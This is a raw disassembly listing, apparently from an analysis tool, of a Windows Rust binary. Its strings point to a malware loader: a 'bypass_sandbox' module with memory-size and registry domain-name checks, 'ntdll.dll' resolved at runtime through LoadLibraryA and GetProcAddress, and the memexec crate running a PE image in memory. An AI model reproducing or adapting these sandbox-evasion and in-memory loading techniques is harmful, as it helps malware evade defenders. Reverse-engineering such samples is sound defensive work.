mov qword [rsp + 0x38], r15
jmp 0x140003188
mov rsi, qword [0x1401b50b8]
test rsi, rsi
je 0x140003210
mov dword [rsp + 0x190], 0
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov rdx, r14
mov r8, rbp
mov r9d, r12d
call rsi
test eax, eax
jne 0x140003be7
add r13, 0x28
cmp r15, r13
je 0x140003332
mov eax, dword [rbx + r13 + 4]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000317b
mov eax, dword [rbx + r13]
add rax, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
mov eax, dword [rbx + r13 + 0x18]
test eax, 0x20000000
jne 0x1400031e0
mov r12d, 1
test eax, 0x40000000
je 0x140003140
shr eax, 0x1f
lea r12d, [rax*2 + 2]
jmp 0x140003140
mov r12d, 0x10
test eax, 0x40000000
je 0x140003140
shr eax, 0x1a
and eax, 0xffffffe0
add eax, 0x20
mov r12d, eax
jmp 0x140003140
mov r15, rbp
mov rbp, r14
movzx eax, byte [0x1401b51a8]
mov edx, 0xa
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003c17
movabs rcx, 0x6c642e6c6c64746e
mov qword [rax], rcx
mov byte [rax + 8], 0x6c
mov qword [rsp + 0x190], 0xa
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], 9
mov rcx, rdi
call fcn.140005fb0
mov rdi, rax
mov r14, rdx
mov rcx, rax
call sub.KERNEL32.dll_LoadLibraryA
mov rsi, rax
mov byte [rdi], 0
test r14, r14
je 0x140003295
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
test rsi, rsi
je 0x140003c26
mov r8d, 0x16
lea rcx, [rsp + 0x190]
lea rdx, [0x1401a9110]
call fcn.140005e00
mov rax, qword [rsp + 0x190]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140003bf3
mov rdi, qword [rsp + 0x198]
mov r14, qword [rsp + 0x1a0]
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rax
mov byte [rdi], 0
test r14, r14
je 0x14000330a
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
test rsi, rsi
je 0x140003c32
mov r14, rbp
mov qword [0x1401b50b8], rsi
lea rdi, [rsp + 0x190]
mov rbp, r15
mov r15, qword [rsp + 0x38]
jmp 0x140003150
mov rsi, qword [rsp + 0x68]
mov rax, qword [rsp + 0x150]
cmp dword [rax + 0xd4], 0
je 0x1400033b0
mov eax, dword [rax + 0xd0]
test rax, rax
mov rbx, qword [rsp + 0x128]
mov r14, qword [rsp + 0x110]
mov r15, qword [rsp + 0x140]
mov r12, qword [rsp + 0x138]
je 0x1400033d0
mov rdi, qword [rsi + rax + 0x18]
mov rax, qword [rdi]
test rax, rax
je 0x1400033d0
add rdi, 8
nop word cs:[rax + rax]
mov rcx, rsi
mov edx, 1
xor r8d, r8d
call rax
mov rax, qword [rdi]
add rdi, 8
test rax, rax
jne 0x140003390
mov rsi, qword [rsp + 0x68]
jmp 0x1400033d0
mov rbx, qword [rsp + 0x128]
mov r14, qword [rsp + 0x110]
mov r15, qword [rsp + 0x140]
mov r12, qword [rsp + 0x138]
add rsi, r12
call rsi
test r15, r15
je 0x1400033eb
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, r14
call fcn.140053cc4
cmp byte [rsp + 0xe8], 0
jne 0x14000340b
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, qword [rsp + 0x120]
call fcn.140053cc4
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rbx
call fcn.140053cc4
movaps xmm6, xmmword [rsp + 0x660]
movaps xmm7, xmmword [rsp + 0x670]
movaps xmm8, xmmword [rsp + 0x680]
movaps xmm9, xmmword [rsp + 0x690]
movaps xmm10, xmmword [rsp + 0x6a0]
movaps xmm11, xmmword [rsp + 0x6b0]
movaps xmm12, xmmword [rsp + 0x6c0]
movaps xmm13, xmmword [rsp + 0x6d0]
add rsp, 0x6e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r8, r15
call fcn.140053460
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
jmp 0x140002650
mov r14d, 1
mov rcx, r14
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcpy
cmp qword [rsp + 0x68], 0
je 0x1400034c4
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1401b5178]
xor edx, edx
call fcn.140053cc4
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
je 0x1400034f4
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rsi
call fcn.140053cc4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [0x140004dc0]
mov qword [rsp + 0x58], rax
lea rax, str.____Domain:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x80]
call fcn.14003db10
mov rcx, qword [rsp + 0x130]
call sub.ADVAPI32.dll_RegCloseKey
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0x160]
call fcn.140006770
mov rbx, qword [rsp + 0x168]
mov r12, qword [rsp + 0x170]
lea r14, [rsp + 0xf8]
mov r8d, 5
mov rcx, r14
mov rdx, qword [rsp + 0x128]
call fcn.140006770
mov r10, qword [rsp + 0x100]
mov r13, qword [rsp + 0x108]
test r13, r13
je 0x140003a98
cmp r13, r12
mov qword [rsp + 0x38], r10
jae 0x140003616
cmp r13, 1
jne 0x140003635
movzx ecx, byte [r10]
cmp r12, 0xf
ja 0x140003677
xor eax, eax
nop dword [rax]
cmp byte [rbx + rax], cl
je 0x140003a98
inc rax
cmp r12, rax
jne 0x1400035e0
mov rcx, qword [rsp + 0xf8]
mov rdx, r10
call fcn.140004fc0
mov rcx, qword [rsp + 0x160]
mov rdx, rbx
call fcn.140004fc0
call fcn.14003e720
jne 0x1400035f1
mov rcx, r10
mov rdx, rbx
mov r8, r12
call sub.msvcrt.dll_memcmp
mov r10, qword [rsp + 0x38]
test eax, eax
je 0x140003a98
jmp 0x1400035f1
cmp r13, 0x21
jae 0x140003720
movzx eax, byte [r10]
cmp r13, 2
jne 0x140003696
cmp r12, 0x11
jb 0x1400036d3
movzx eax, al
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
movzx r9d, byte [r10 + 1]
mov ecx, 1
jmp 0x1400037a5
mov rdx, rbx
mov r8, r12
call fcn.14000a430
mov r10, qword [rsp + 0x38]
cmp rax, 1
je 0x140003a98
jmp 0x1400035f1
xor edx, edx
mov rcx, r13
sub rcx, 4
cmovae rdx, rcx
mov r8, r13
cmp rdx, r8
jae 0x140003720
lea rcx, [r8 - 1]
cmp rcx, r13
jae 0x140003bd8
movzx r9d, byte [r10 + r8 - 1]
mov r8, rcx
cmp r9b, al
je 0x1400036a6
lea rdx, [r13 + 0xf]
cmp rdx, r12
jbe 0x140003790
mov rcx, rbx
mov rdx, r10
mov r8, r13
call sub.msvcrt.dll_memcmp
mov r10, qword [rsp + 0x38]
test eax, eax
je 0x140003a98
lea rsi, [rbx + 1]
dec r12
cmp r12, r13
jb 0x1400035f1
mov rcx, rsi
mov rdx, r10
mov r8, r13
call sub.msvcrt.dll_memcmp
mov r10, qword [rsp + 0x38]
inc rsi
dec r12
test eax, eax
jne 0x1400036f5
jmp 0x140003a98
mov qword [rsp + 0x20], r13
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rbx
mov r8, r12
mov r9, r10
call fcn.14000a570
lea rcx, [rsp + 0x50]
mov rdx, rsi
call fcn.140004de0
mov r10, qword [rsp + 0x38]
cmp qword [rsp + 0x50], 0
jne 0x140003a98
jmp 0x1400035f1
test rax, rax
je 0x14000377c
mov r8, qword [rsp + 0x198]
mov rcx, qword [0x1401b5178]
xor edx, edx
call fcn.140053cc4
xor eax, eax
mov rsi, rbp
jmp 0x140003b61
mov eax, 5
jmp 0x140003b61
movzx eax, al
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
lea rdx, [r13 - 1]
movzx eax, r9b
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
lea rax, [r10 + 1]
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], rax
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0x98], rdx
lea rax, [r13 + 0x3f]
cmp rax, r12
mov qword [rsp + 0x118], rcx
jae 0x1400039bf
lea rdx, [r13 + 0x7f]
lea rsi, [rcx + rbx]
add rsi, 0x30
xor r14d, r14d
xor r11d, r11d
mov qword [rsp + 0x40], rdx
movdqu xmm0, xmmword [rbx + r14]
movdqu xmm12, xmmword [rbx + r14 + 0x10]
movdqu xmm10, xmmword [rbx + r14 + 0x20]
movdqu xmm8, xmmword [rbx + r14 + 0x30]
pcmpeqb xmm0, xmm6
movdqu xmm1, xmmword [rsi + r14 - 0x30]
movdqu xmm13, xmmword [rsi + r14 - 0x20]
movdqu xmm11, xmmword [rsi + r14 - 0x10]
movdqu xmm9, xmmword [rsi + r14]
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x1400038de
pcmpeqb xmm12, xmm6
pcmpeqb xmm13, xmm7
pand xmm13, xmm12
pmovmskb r8d, xmm13
test r8w, r8w
jne 0x140003912
pcmpeqb xmm10, xmm6
pcmpeqb xmm11, xmm7
pand xmm11, xmm10
pmovmskb r8d, xmm11
test r8w, r8w
jne 0x140003947
pcmpeqb xmm8, xmm6
pcmpeqb xmm9, xmm7
pand xmm9, xmm8
pmovmskb r8d, xmm9
test r8w, r8w
jne 0x14000397c
lea rax, [rdx + r14]
add r14, 0x40
cmp rax, r12
jae 0x1400039c5
mov eax, r11d
and al, 1
je 0x140003817
jmp 0x1400039c5
mov r9d, r11d
and r9b, 1
lea rcx, [rsp + 0x80]
mov rdx, r14
mov qword [rsp + 0x48], r11
call fcn.140041a40
mov rdx, qword [rsp + 0x40]
mov r10, qword [rsp + 0x38]
or al, byte [rsp + 0x48]
and al, 1
mov r11d, eax
jmp 0x140003863
lea rdx, [r14 + 0x10]
mov r9d, r11d
and r9b, 1
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x48], r11
call fcn.140041a40
mov rdx, qword [rsp + 0x40]
mov r10, qword [rsp + 0x38]
or al, byte [rsp + 0x48]
and al, 1
mov r11d, eax
jmp 0x140003881
lea rdx, [r14 + 0x20]
mov r9d, r11d
and r9b, 1
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x48], r11
call fcn.140041a40
mov rdx, qword [rsp + 0x40]
mov r10, qword [rsp + 0x38]
or al, byte [rsp + 0x48]
and al, 1
mov r11d, eax
jmp 0x14000389f
lea rdx, [r14 + 0x30]
mov r9d, r11d
and r9b, 1
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x48], r11
call fcn.140041a40
mov rdx, qword [rsp + 0x40]
mov r10, qword [rsp + 0x38]
or al, byte [rsp + 0x48]
and al, 1
mov r11d, eax
lea rax, [rdx + r14]
add r14, 0x40
cmp rax, r12
jb 0x1400038ce
jmp 0x1400039c5
xor r11d, r11d
xor r14d, r14d
lea rax, [r14 + r13]
add rax, 0xf
mov r9d, r11d
and r9b, 1
cmp rax, r12
jae 0x140003a48
test r9b, r9b
jne 0x140003a48
add r13, 0x1f
mov rax, qword [rsp + 0x118]
lea rsi, [rbx + rax]
movdqu xmm0, xmmword [rbx + r14]
movdqu xmm1, xmmword [rsi + r14]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x140003a2b
lea rax, [r14 + r13]
mov r9d, r11d
and r9b, 1
cmp rax, r12
jae 0x140003a48
add r14, 0x10
test r9b, r9b
je 0x1400039ee
jmp 0x140003a48
lea rcx, [rsp + 0x80]
mov rdx, r14
xor r9d, r9d
call fcn.140041a40
mov r10, qword [rsp + 0x38]
mov r11d, eax
jmp 0x140003a10
sub r12, qword [rsp + 0xe8]
lea rax, [rbx + r12]
add rax, 0xfffffffffffffff0
movdqu xmm0, xmmword [rbx + r12 - 0x10]
mov rcx, qword [rsp + 0x118]
movdqu xmm1, xmmword [rcx + rax]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x140003b9b
test r11b, 1
lea r14, [rsp + 0xf8]
je 0x1400035f1
cmp qword [rsp + 0xf8], 0
je 0x140003ab4
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, r10
call fcn.140053cc4
cmp qword [rsp + 0x160], 0
je 0x140003ad0
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rbx
call fcn.140053cc4
lea rax, [rsp + 0x180]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x50], r14
lea rax, [0x140004fe0]
mov qword [rsp + 0x58], rax
lea rax, str.___Domaine_name_match_value:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 1
jmp 0x140001eca
mov eax, 2
mov rsi, rbx
jmp 0x140003b61
test rax, rax
je 0x140003b56
mov r8, qword [rsp + 0x198]
mov rcx, qword [0x1401b5178]
xor edx, edx
call fcn.140053cc4
xor eax, eax
jmp 0x140003b61
jmp 0x140003b61
mov eax, 1
mov dword [rsp + 0x190], eax
mov dword [rsp + 0x194], esi
lea rax, [0x140059780]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140059138]
lea r8, [rsp + 0x190]
mov edx, 0x2b
call fcn.140008b30
add r12, 0xfffffffffffffff0
test r9b, r9b
setne sil
lea rcx, [rsp + 0x80]
mov rdx, r12
call fcn.140041a40
mov r10, qword [rsp + 0x38]
mov r11d, eax
or r11b, sil
test r11b, 1
lea r14, [rsp + 0xf8]
jne 0x140003a98
jmp 0x1400035f1
lea r8, [0x1401aa5a8]
mov rdx, r13
call fcn.140006f60
mov esi, eax
mov eax, 4
jmp 0x140003b61
test rax, rax
je 0x140003c0e
mov r8, qword [rsp + 0x198]
mov rcx, qword [0x1401b5178]
xor edx, edx
call fcn.140053cc4
xor esi, esi
xor eax, eax
jmp 0x140003b61
mov ecx, 1
mov edx, 0xa
call fcn.140005ca0
mov eax, 1
xor esi, esi
jmp 0x140003b61
mov eax, 2
jmp 0x140003b61
mov ecx, 1
mov edx, 8
call fcn.140005ca0
call fcn.140052db0
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x88], eax
lea rax, [0x140059390]
mov qword [rsp + 0x20], rax
lea rcx, str.GlobalMemoryStatusEx_Failedsrc_bypass_sandbox.rs
lea r9, [0x1400590f8]
lea r8, [rsp + 0x80]
mov edx, 0x1b
call fcn.140008b30
movdqu xmm0, xmmword [rsp + 0x198]
mov qword [rsp + 0x190], 8
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x1a0], 5
jmp 0x140003d08
mov ecx, 1
mov edx, 5
call fcn.140005ca0
mov ecx, 1
mov edx, 6
call fcn.140005ca0
mov ecx, 1
mov edx, 0x14ae00
call fcn.140005ca0
call fcn.140005c60
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], 0x2e
movdqu xmmword [rsp + 0x1a8], xmm0
lea rax, [0x1400597d8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140059118]
lea r8, [rsp + 0x190]
mov edx, 0x2b
call fcn.140008b30
lea rcx, [0x140059710]
call fcn.140008cf0
mov ecx, 1
mov rdx, r13
call fcn.140005ca0
xor esi, esi
mov eax, 0xb
jmp 0x140003b61
mov esi, 1
mov eax, 0xb
jmp 0x140003b61
lea r8, [0x1401a9188]
mov ecx, 0x40
mov rdx, rbp
call fcn.1400083a0
lea r8, [0x1401a9188]
mov rcx, rbp
mov rdx, r12
call fcn.140007970
mov esi, 2
mov eax, 0xb
jmp 0x140003b61
mov esi, 3
mov eax, 0xb
jmp 0x140003b61
mov esi, 4
mov eax, 0xb
jmp 0x140003b61
mov rcx, rbp
lea r8, str._.cargo_registry_src_index.crates.io_6f17d22bba15001f_memexec_0.2.0_src_peparser_pe.rs
mov rdx, r12
call fcn.140006ee0
lea r8, str._.cargo_registry_src_index.crates.io_6f17d22bba15001f_memexec_0.2.0_src_peparser_section.rs
mov rdx, r12
call fcn.140006ee0
mov eax, 6
jmp 0x140003b61
mov eax, 7
jmp 0x140003b61
mov eax, 8
jmp 0x140003b61
mov eax, 9
jmp 0x140003b61
mov esi, 5
mov eax, 0xb
jmp 0x140003b61
mov esi, edx
jmp 0x140003b61
lea rax, [0x140059450]
mov edx, 0x100
mov rcx, r8
mov r8, rax
call fcn.140007970
int3